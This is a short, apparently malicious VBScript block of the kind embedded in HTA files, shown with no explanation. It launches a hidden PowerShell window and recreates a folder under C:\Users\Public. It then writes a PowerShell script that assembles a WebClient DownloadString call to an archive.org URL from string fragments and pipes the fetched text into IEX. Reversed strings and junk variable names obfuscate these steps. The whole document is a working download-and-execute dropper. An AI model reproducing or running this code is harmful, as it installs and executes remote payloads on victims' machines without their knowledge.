<script language="VBScript">
Function var_func()
CreateObject("Wscript.Shell").Run "Powershell.exe  -noexit",0
dim gdgsG33V2V56KH5KX
Set gdgsG33V2V56KH5KX = CreateObject(StrReverse("tcejbOmetsySeliF.gnitpircS"))
If gdgsG33V2V56KH5KX.FolderExists("C:\Users\Public\Data") Then 
gdgsG33V2V56KH5KX.DeleteFolder "C:\Users\Public\Data"
End If
Set cwswrtydsxsess22 = CreateObject(StrReverse("tcejbOmetsySeliF.gnitpircS"))
Set hhhhhhhhhhhhsssxxxxxxxz = cwswrtydsxsess22.CreateFolder("C:\Users\Public\Data")
Set DGSDHSDHSDHDHSDHSDH = CreateObject("Scripting.FileSystemObject")
Set objOutFile = DGSDHSDHSDHDHSDHSDH.CreateTextFile("C:\Users\Public\Datax.ps1",True)
objOutFile.WriteLine "$c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''https://archive.org/download/encoding_20210624/Encoding.txt'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X"
End Function
var_func
self.close
</script>